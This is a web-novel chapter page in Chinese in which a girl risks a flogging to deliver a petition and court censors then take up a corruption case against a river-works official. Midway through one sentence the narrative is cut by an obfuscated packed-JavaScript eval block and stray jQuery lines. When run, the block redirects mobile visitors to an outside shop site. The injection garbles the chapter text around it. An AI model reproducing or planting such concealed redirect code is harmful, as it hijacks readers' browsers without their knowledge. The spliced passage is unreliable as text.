默认冷灰
24号文字
方正启体

56.第五十六章 奏折

作者:闲来无虞本书字数:K更新时间:
    青绿告别钟离梨,从东宫回到兰台,已到下值时辰,与阿四出了北阙,见左侧的登闻鼓前围了一大群人。


    登闻鼓为有冤情或急案者而设,但基本上无人敢擂鼓,原因是擂鼓者先得承受杖责二十,才能递上状纸。非天大冤屈、无其他渠道、立着必死决心者,也不敢擂鼓,故登闻鼓基本上属于摆设。


    青绿让阿四去取马车,她自己挤进人群去看是何人如此不要命?一看之下,倒抽了一口冷气,却是一名脸色蜡黄、衣衫褴褛的十二三岁小姑娘,纤瘦的身板,似乎一阵风便能将她刮倒。


    北阙又称北司马门、公车门,由卫尉属下的公车令执掌。


    此刻,公车令付玦正对着小姑娘,满目威严道:“濮阳戚秒,本官明确告知你击鼓规矩,你真要击鸣冤鼓,先要接受杖责二十,生死自处,然后有司官员接下你的状纸,呈送皇帝陛下。”


    小姑娘戚秒双手将一轴长卷举过头顶,身子抖得筛糠似的,眼底却充满了坚定之色:“戚秒击鼓鸣冤,万死不辞。”


    围观众人纷纷劝她:“小姑娘,万万不可,你有何冤状,到朝廷的衙门递交便是,廷尉府离此也不远。”


    戚秒惨切道:“爹说,廷尉府不接地方状纸,他什么办法都试过了,状纸都被衙门狗官压下了,唯有敲登闻鼓才能直达天听。”


    “你爹呢?他怎不来?让你一个小姑娘来受这份罪。”


    “爹死了,我得完成他的遗愿。”戚秒泪流满面。


    众人唏嘘。


    付玦面无表情道:“请光禄大夫常帅宁接过状纸。”


    便有静立一旁的一名中年男子上前,接过戚秒手中的长卷。


    付玦威严道:“传令,施杖二十。”


    两侧衙役齐声应诺,两名衙役抬出一张长凳,将戚秒按伏于凳上。


    戚秒紧闭双眼,一副决绝神态。


    付玦掷签下令:“用刑。”


    衙役高举手中长约六尺、广二寸的木板上前便要打下。


    青绿不忍卒看,冲开围观人群走到付玦跟前道:“付大人,不能打,她年纪太小,会出人命的。”掏出令牌递给他。


    付玦年近五十,面容方正饱满,额头宽阔,浓眉大眼,抿成一条直线的厚唇透着严谨刻板。


    他接过令牌审视一番,交还给青绿:“凡主簿,规矩便是规矩,任你是何人也得遵守。”一声冷喝,“用刑。”


    衙役手中木板带着呼啸声,“啪”地一下落在戚秒大腿根部,顿时有血迹浸出。


    戚秒痛极弓身,发出一声无力的哀嚎,几近晕厥。


    常帅宁冷着脸对青绿,实际是对围观众人道:“此规,是防范鸡毛蒜皮者皆敲登闻鼓之劣行。”


    看到衙役再次举起板子,青绿来不及多想,转身扑到戚秒身上,生生替她接了一板。


    所有人都被这突如其来的变故惊呆了。


    衙役看向付玦,高举的木板迟迟不敢落下。


    一阵令人窒息的沉默,青绿脑子飞速转动起来,猛然间,她朗声道:“停。戚秒不敲登闻鼓。”


    戚秒挣扎着抬头看向青绿,虚弱而坚定道:“姐姐,就算我被打死,也要敲登闻鼓。”


    青绿斩钉截铁道:“我领你去递交状纸。”


    她起身走到付玦跟前,沉声道:“戚秒的状纸若是直接递交到兰台,是否就不用敲登闻鼓了?”


    付玦与常帅宁对视一眼。


    常帅宁道:“状纸我们接下了,算不算敲登闻鼓,公车令说了算。”


    付玦看了一眼戚秒,似乎动了恻隐之心:“既然如此,便算是经兰台递交的吧。”


    青绿施礼:“凡青绿替戚秒谢过付大人。”


    四周响起一片热烈掌声。


    青绿扶起戚秒,对她道:“常大人已经接下了你的状纸,他会直接呈送皇帝陛下。你现在往何处去?在京中有亲人吗?”


    戚秒两腿颤抖着几乎站立不稳,摇摇头:“我跟爹一起来的,爹前几日因病去世了。”


    青绿道:“我是兰台的凡青绿,你唤我凡姐姐。我现在送你去官府安置孤儿的义养堂,你先养好伤,然后回老家或是留在京师,到时再说。”


    戚秒流泪道:“谢谢凡姐姐”,便要下跪。


    青绿忙扶着她:“好好活着,一有消息我便告诉你。”


    翌日,青绿才进书房,便有一名男子紧跟着走了进来。


    青绿施礼道:“南门曹掾早。”


    男子生得牛高马大,身长超八尺,双拳如钵,双脚如船,浓眉大眼,高鼻厚唇,自带满满的威慑力。


    他复姓南门,名蚜,行武出身,性格豪放,握笔如同握刀,字写得很是大刀阔斧。现为下曹曹掾。


    下曹负责监察地方官员,整理刺史呈报的图籍计簿并作出判断及结论。


    说来好笑,青绿刚到兰台不久,一名高大男子来借秘籍,青绿看着他龙飞凤舞力透纸背,在借阅签名栏处写下“南”字,便有礼貌地称呼:“南大人。”


    他愕然抬头,青绿知道自己造次,忙抱歉地欠欠身。


    高大男子又写下“门”字。


    青绿连忙讨好地改正称呼:“南门大人。”


    南门继续用力挥毫,在登记本上写下“虫牙”二字。


    青绿好心提醒道:“南门虫牙大人,此秘籍只可在书房阅看,不可带回宿庐。“


    南门又愕然抬头看她,目光颇为诧异,随后一掌拍在桌上,震得桌上的文房四宝不停地跳动,旋即好奇地问:“凡主簿,你不识字?”


    青绿求生欲望强烈,马上违心更正:“南门蚜曹掾。”


    看着他高大的背影,青绿腹诽:你写字自由搭配偏旁部首,怪我喽,拍案虫牙。


    南门蚜回礼道:“小凡主簿,董中丞让你过去。”


    青绿一听,高兴道:“这就去。”


    她方才还在想,要马上将昨日戚秒敲登闻鼓的事向瓜老头汇报。


    无论大小事,只要涉及案件,她都自觉向上司汇报,这是在衙门做事的基本要求。但一想到要独自面对瓜老头,心里就有些发怵,南门蚜来得正好。


    青绿和南门蚜恭谨地在瓜老头对面的椅子上坐下。


    瓜老头将手上的奏本递给南门蚜,阴沉着脸道:“光禄大夫常帅宁的密奏,尚书台送来的。”


    朝廷带“大夫”的官职多隶属于光禄勋,如光禄大夫、太中大夫、谏议大夫、中散大夫等,无固定员额,为皇帝近臣,掌议论,可直言进谏。大夫又以光禄大夫最显要,九卿多由光禄大夫升迁而来。


    青绿十分自觉地打坐,并未凑过去看。在做人做事上,她的边界感十分清晰,何时要将上司当上司,何时只当其为普通人,她拿捏得十分到位,或许这也是她在胖瘦两位大佬的高压下得以立足的原因吧。


    当听到常帅宁及濮阳等字眼,想着奏章内容应该与戚秒冒死呈上的状纸有关,青绿心里松了一口气,也不枉戚秒挨了一板子,果然诉状能上达天听,且仅仅过了一夜,带着朱批的奏章就送到了兰台。


    瓜老头道:“常帅宁弹劾风信子,我记得他与你是同门师兄。”


    南门蚜道:“是,当初下官与他师从山尚学宫的墨家大师邸行健,后又一同考入太学。”


    “他原为水衡都尉,在宫内负责造船治水等,隶属少府。前年,东郡濮阳瓠子口河决,陛下发兵三万,命六殿下


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16710543|185334||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    刘睿亲率前往堵决,后六殿下班师回朝。风信子原籍兖州济阴郡成阳县,陛下念其熟悉当地地理水情,特将其迁任治河谒者,留驻当地,全权掌管治河事务。”


    大汉,但凡提到“河”,皆指那条水阔无边深无底、其来不知几千里,其水一石、其泥数斗的流经东郡而最终注入外海的咆哮浩荡的黄河,而注入内湖或内海的则称之为“江”。


    南门蚜“哦”了一声,他是去年来的兰台,只比青绿早半载。


    又道:“估计风信子最近要升迁,那些个小人惯会这一手,不管是何人,只要涉及升官,便会有无数的暗箭在背后拿其当靶子射。对那些诬告的,我逮着一个宰一个。不过,话又说回来,那些靶子屁股大多有屎,擦都擦不干净,议郎们一参一个准。”


    瓜老头眉头紧皱,冷冷一笑。


    南门蚜看完奏章,瓜老头示意他交给青绿。


    青绿看得十分认真,奏章共列举风信子四宗罪。


    开篇写道:熙元二十二年,黄河东郡濮阳瓠子口决口,陛下命水衡都尉风信子前往治理。其无治河之才,却加重赋税徭役、贪墨无度,致水灾加剧、民不聊生,流民暴乱四起。


    治河工程偷工减料,石块易泥、草绳充木头,决口屡堵屡溃。此罪一;


    赈灾物资以次充好,稀粥掺沙,灾民难济饥馑。此罪二;


    横征暴敛引发民怨,百姓不堪徭役与灾荒,背井离乡、卖儿鬻女,饿殍遍野。此罪三;


    倒卖军粮、垄断粮市,趁灾牟利,此罪四。


    结语:风信子为中饱私囊,罔顾皇恩与治河重任,理当即刻严查。


    陛下朱批只有二字:速查。


    青绿心里嘀咕:字越少事越大!


    青绿凝眸看着最后一页,上面写满了横七竖八的名字,每个名字上均履着血手印,颜色暗红却极为刺目。


    青绿数了数,整整一打,十二个,但内中并无戚姓。


    她又认认真真看了一遍,确实没有,连同音字都没有,不由喃喃道:“奇怪。”


    瓜老头鹰隼般的目光朝她一闪。


    青绿忙将昨日戚秒敲登闻鼓之事说了一遍,末了道:“我问过戚秒,可知状纸内容?她说爹从未对她说起。”甚为不解,“师傅,冒死却不为自己申冤,此是为何?”


    瓜老头的声音如冬日寒冰:“收了银子帮递状纸。”


    南门蚜嗡声嗡气道:“果真如此,家里必然遭了大难。”


    青绿点头道:“戚秒说,哥哥之前被投入大牢,娘又身患重病,所以只有她随爹进京。”心里十分难过,小小年纪,拚了性命却是在替别人递状纸。


    瓜老头对南门蚜道:“你牵头核查‘治河谒者贪墨案’。先在京收集相关资料,千秋节后,去濮阳。”


    南门蚜毫不含糊道:“遵令。”踌躇片刻,“下曹的御史都有任务在身,可否向上曹借用一二?”兰台规定,御史不能单独办案。


    青绿未及合上奏章,便听瓜老头以不容反驳的语气道:“带上这丫头。”


    南门蚜看看青绿单薄的小身板,皱眉道:“带她作甚?遇危险还得分身护她。”


    青绿热血上头,恨恨白了他一眼:“还不知道谁护着谁呢。”


    她已开始跟阿四练剑,自恃有一明一暗长短剑的技术活,砍瓜切菜不成问题。


    瓜老头阴郁地看她一眼:“知道自己去做甚?”


    “查案,核实奏章内容的真伪。”青绿扬了扬手里的奏章。


    瓜老头鼻子里“哼”了一声,不屑道:“那些个玩艺用不着堂堂主簿亲自核实,让你去,是查这背后的一切。”


    “背后的一切。”青绿若有所思。
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)